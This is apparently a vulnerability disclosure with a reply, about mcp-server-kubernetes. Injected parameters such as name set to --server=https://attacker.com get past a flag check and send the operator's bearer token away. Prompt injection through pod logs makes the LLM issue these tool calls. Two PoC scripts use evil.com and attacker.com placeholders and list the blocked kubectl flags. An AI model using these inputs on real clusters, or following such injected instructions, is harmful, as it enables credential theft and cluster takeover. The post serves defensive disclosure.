mcp-server-kubernetes — Bearer Token Exfiltration via Dangerous Flag Check Bypass

[CVE-Hunter-Leo]

mcp-server-kubernetes — Bearer Token Exfiltration via Dangerous Flag Check Bypass

Basic Information

• Project: https://github.com/Flux159/mcp-server-kubernetes
• Language: TypeScript
• Vulnerability Type: Security Control Bypass → Credential Theft
• Severity: Critical (CVSS 9.1)
• Affected Versions: All versions up to the latest as of 2026-06-01

Vulnerability Overview

The mcp-server-kubernetes project implements a security mechanism assertNoDangerousFlags() in src/security/kubectl-flags.ts. This mechanism is designed to prevent the injection of dangerous kubectl flags (such as --server, --token, --kubeconfig, etc.) through MCP tool calls, thereby blocking indirect prompt injection attacks that could cause the operator’s bearer token to be exfiltrated to an attacker-controlled server.

However, this check contains a critical bypass: assertNoDangerousFlags() only validates the flags and args parameters. The four parameters command, subCommand, resourceType, and name are directly concatenated into the kubectl command line without any security checks.

Even more seriously, among all 15 tools, only the kubectl_generic tool calls assertNoDangerousFlags(). The remaining 14 tools (including the read-only tools kubectl_get, kubectl_describe, and kubectl_logs) implement no flag checks at all.

Root Cause

1. Incomplete Validation in kubectl_generic

src/tools/kubectl-generic.ts:77-95:

// Only checks flags and args
assertNoDangerousFlags(input.flags, input.args); // line 77
// The following parameters are directly concatenated without any checks
const cmdArgs: string[] = [input.command]; // line 81 — NOT CHECKED
if (input.subCommand) cmdArgs.push(input.subCommand); // line 85 — NOT CHECKED
if (input.resourceType) cmdArgs.push(input.resourceType); // line 90 — NOT CHECKED
if (input.name) cmdArgs.push(input.name); // line 95 — NOT CHECKED

2. 14 out of 15 Tools Have No Flag Checks

Tools with check: kubectl_generic (1)
Tools without check: kubectl_get, kubectl_describe, kubectl_logs, kubectl_delete,
           kubectl_apply, kubectl_create, kubectl_patch, kubectl_scale,
           kubectl_rollout, kubectl_context, kubectl_operations,
           exec_in_pod, helm_operations, node_management (14)

Attack Scenario

The operator deploys mcp-server-kubernetes connected to a production Kubernetes cluster (the kubeconfig contains a bearer token).
An attacker influences the LLM through indirect prompt injection (e.g., malicious pod logs or ConfigMap content).
The LLM calls the kubectl_get tool and sets the name parameter to --server=https://attacker.com.
kubectl connects to the attacker’s server and automatically sends the bearer token in the Authorization header.
The attacker obtains the token → full cluster compromise.

Note: The kubectl_get tool is marked with readOnlyHint: true and remains available even when ALLOW_ONLY_NON_DESTRUCTIVE_TOOLS=true (non-destructive mode). The attack cannot be mitigated through configuration.

Remediation Recommendations

1. Perform dangerous flag checks on all string parameters that are concatenated into the kubectl command line:

// Check all user-controlled inputs before building cmdArgs
assertNoDangerousFlags(input.flags, [
  ...(input.args || []),
  ...(input.command ? [input.command] : []),
  ...(input.subCommand ? [input.subCommand] : []),
  ...(input.resourceType ? [input.resourceType] : []),
  ...(input.name ? [input.name] : []),
]);

2. Call assertNoDangerousFlags() consistently in all 15 tools.

3. Consider implementing an allowlist to validate the command parameter (it should only permit legitimate kubectl subcommands such as get, describe, logs, etc.).

---

PoC 1: Flag Check Bypass Demonstration

Run: node poc_this_file.js (save the code below as a .js file)
Or simply read the output to understand the bypass logic

const DANGEROUS_FLAGS = new Set([
  "server", "kubeconfig", "cluster", "context", "user", "tls-server-name",
  "insecure-skip-tls-verify", "certificate-authority", "client-certificate",
  "client-key", "token", "username", "password", "auth-provider",
  "auth-provider-arg", "exec-command", "exec-arg", "exec-api-version", "exec-env",
  "as", "as-group", "as-uid",
]);

const SHORT_ALIASES = new Set(["s"]);

function normalizeFlagName(raw) {
  let name = raw.replace(/^-+/, "");
  const eq = name.indexOf("=");
  if (eq !== -1) name = name.slice(0, eq);
  return name.toLowerCase();
}

function isDangerousFlagName(rawName, fromArgs) {
  const name = normalizeFlagName(rawName);
  if (DANGEROUS_FLAGS.has(name)) return true;
  if (fromArgs && SHORT_ALIASES.has(name)) return true;
  return false;
}

function assertNoDangerousFlags(flags, args) {
  if (flags) {
    for (const key of Object.keys(flags)) {
      if (isDangerousFlagName(key, false))
        throw new Error(`BLOCKED: dangerous flag --${normalizeFlagName(key)}`);
    }
  }
  if (args) {
    for (const tok of args) {
      if (typeof tok !== "string") continue;
      if (!tok.startsWith("-")) continue;
      if (isDangerousFlagName(tok, true))
        throw new Error(`BLOCKED: dangerous flag ${tok}`);
    }
  }
}

// Reproduce the command-building logic from kubectl-generic.ts
function buildKubectlCommand(input) {
  assertNoDangerousFlags(input.flags, input.args);

  const cmdArgs = [input.command];
  if (input.subCommand) cmdArgs.push(input.subCommand);
  if (input.resourceType) cmdArgs.push(input.resourceType);
  if (input.name) cmdArgs.push(input.name);
  if (input.namespace) cmdArgs.push(`--namespace=${input.namespace}`);
  if (input.outputFormat) cmdArgs.push(`-o=${input.outputFormat}`);
  if (input.flags) {
    for (const [key, value] of Object.entries(input.flags)) {
      if (value === true) cmdArgs.push(`--${key}`);
      else if (value !== false && value !== null && value !== undefined)
        cmdArgs.push(`--${key}=${value}`);
    }
  }
  if (input.args && input.args.length > 0) cmdArgs.push(...input.args);
  if (input.context) cmdArgs.push("--context", input.context);

  return "kubectl " + cmdArgs.join(" ");
}

console.log("=== mcp-server-kubernetes: assertNoDangerousFlags Bypass PoC ===\n");

// 1. Normal blocking test
console.log("[TEST 1] --server in flags (should BLOCK):");
try {
  buildKubectlCommand({ command: "get", resourceType: "pods", flags: { server: "https://evil.com" } });
  console.log("  UNEXPECTED: Not blocked!\n");
} catch (e) {
  console.log(`  [BLOCKED] ${e.message}\n`);
}

console.log("[TEST 2] --server in args (should BLOCK):");
try {
  buildKubectlCommand({ command: "get", resourceType: "pods", args: ["--server=https://evil.com"] });
  console.log("  UNEXPECTED: Not blocked!\n");
} catch (e) {
  console.log(`  [BLOCKED] ${e.message}\n`);
}

console.log("=" .repeat(60));
console.log("  BYPASS: Inject dangerous flags via unchecked parameters");
console.log("=" .repeat(60) + "\n");

// BYPASS via name parameter
console.log("[BYPASS 1] --server via 'name' parameter (kubectl_get / kubectl_generic):");
try {
  const cmd = buildKubectlCommand({
    command: "get",
    resourceType: "pods",
    name: "--server=https://attacker.com",
    namespace: "default",
  });
  console.log(`  [PASS] Command: ${cmd}`);
  console.log("  -> kubectl sends Bearer token to attacker.com\n");
} catch (e) {
  console.log(`  Blocked: ${e.message}\n`);
}

// BYPASS via resourceType parameter
console.log("[BYPASS 2] --server via 'resourceType' parameter:");
try {
  const cmd = buildKubectlCommand({
    command: "get",
    resourceType: "--server=https://attacker.com",
    name: "pods",
    namespace: "kube-system",
  });
  console.log(`  [PASS] Command: ${cmd}\n`);
} catch (e) {
  console.log(`  Blocked: ${e.message}\n`);
}

// BYPASS via command parameter
console.log("[BYPASS 3] --kubeconfig via 'command' parameter:");
try {
  const cmd = buildKubectlCommand({
    command: "--kubeconfig=/tmp/evil-kubeconfig",
    subCommand: "get",
    resourceType: "secrets",
    namespace: "default",
  });
  console.log(`  [PASS] Command: ${cmd}`);
  console.log("  -> kubectl uses attacker-controlled kubeconfig\n");
} catch (e) {
  console.log(`  Blocked: ${e.message}\n`);
}

// BYPASS via subCommand parameter
console.log("[BYPASS 4] --server via 'subCommand' parameter:");
try {
  const cmd = buildKubectlCommand({
    command: "get",
    subCommand: "--server=https://attacker.com",
    resourceType: "secrets",
    namespace: "kube-system",
    outputFormat: "json",
  });
  console.log(`  [PASS] Command: ${cmd}`);
  console.log("  -> Exfiltrate kube-system secrets to attacker\n");
} catch (e) {
  console.log(`  Blocked: ${e.message}\n`);
}

console.log("=== Impact ===");
console.log("Attacker via indirect prompt injection (e.g., malicious pod logs)");
console.log("can redirect kubectl to attacker-controlled server and steal the");
console.log("operator's bearer token -> full cluster compromise.");
console.log("");
console.log("This works even in non-destructive mode (kubectl_get is read-only).");
console.log("14 out of 15 tools have NO flag check at all.");

---

PoC 2: End-to-End Bearer Token Exfiltration

Prerequisite: kubectl installed locally
Run: Save as .sh and chmod +x && ./poc.sh

#!/bin/bash
set -e

TMPDIR=$(mktemp -d)
trap "rm -rf $TMPDIR" EXIT

echo "=== mcp-server-kubernetes: Token Exfiltration PoC ==="
echo ""

# 1. Create a kubeconfig containing a bearer token
cat > "$TMPDIR/kubeconfig" << 'EOF'
apiVersion: v1
kind: Config
clusters:
- cluster:
    server: https://real-k8s-cluster.internal:6443
    insecure-skip-tls-verify: true
  name: prod-cluster
contexts:
- context:
    cluster: prod-cluster
    user: prod-admin
  name: prod-context
current-context: prod-context
users:
- name: prod-admin
  user:
    token: eyJhbGciOiJSUzI1NiJ9.SUPER_SECRET_OPERATOR_TOKEN_LEAKED
EOF

echo "[1] reated test kubeconfig, bearer token = eyJhbGciOiJSUzI1NiJ9.SUPER_SECRET..."
echo ""

# 2. Simulate attack: Inject --server via the name parameter in kubectl_get tool call
echo "[2] Simulate kubectl_get tool call:"
echo '    input: { resourceType: "pods", name: "--server=https://127.0.0.1:1" }'
echo ""
echo "    Built command: kubectl get pods --server=https://127.0.0.1:1 -n default -o json"
echo ""

# 3. Execute and use -v=7 to view the Authorization header in the HTTP request
echo "[3] kubectl verbose output (view Authorization header):"
echo ""

KUBECONFIG="$TMPDIR/kubeconfig" kubectl get pods \
  "--server=https://127.0.0.1:1" \
  -n default -o json \
  -v=7 --request-timeout=2s 2>&1 | grep -E "Authorization|Request.*verb.*GET|round_tripper" | head -6

echo ""
echo "=== Conclusion ==="
echo "kubectl sends the 'Authorization: Bearer <token>' header to the address specified by --server."
echo "An attacker can use indirect prompt injection to make the LLM call:"
echo ' kubectl_get({ resourceType: "pods", name: "--server=https://attacker.com" })'
echo "to steal the operator's bearer token and gain full cluster control."
echo ""
echo "This attack also works in ALLOW_ONLY_NON_DESTRUCTIVE_TOOLS=true mode,"
echo "because kubectl_get is a read-only tool with no flag checking at all."

[xlyoung]

Excellent analysis. This is a textbook example of partial validation — the most common pattern we see in MCP security audits.

The root cause is architectural: assertNoDangerousFlags() treats flags/args as the threat surface but ignores the command structure itself. This is the same class of bug as SQL injection — concatenating user-controlled input into a command string without sanitizing all vectors.

Why this is especially dangerous in MCP:

1. The 14 tools that skip flag checks entirely are the most commonly called ones (kubectl_get, kubectl_describe, kubectl_logs). An attacker doesn't need kubectl_generic — they can inject via resourceType: "pods --server=https://ATTACKER" in any read tool.
2. MCP's tool description is the attack surface. If the LLM sees resourceType described as "the resource type", it has no reason to suspect flag injection. But a poisoned web page or compromised MCP server in the chain can instruct the LLM to append flags.

Recommended fix (defense in depth):

// 1. Validate ALL parameters, not just flags/args
function sanitizeParam(value: string): string {
  if (value.includes('--') || value.includes(' ')) {
    throw new Error(`Suspicious parameter: ${value}`);
  }
  return value;
}

// 2. Use spawn() with array args instead of string concatenation
const child = spawn('kubectl', [
  sanitizeParam(input.command),
  sanitizeParam(input.subCommand),
  sanitizeParam(input.resourceType),
  sanitizeParam(input.name),
  ...validatedFlags
]);

Detection at config time: Tools like MCP Doctor flag this pattern (Tool Access Control Bypass) — presentation-layer filtering without execution-layer enforcement — as a HIGH severity finding. Running a scan before deploying MCP servers catches this class of bug.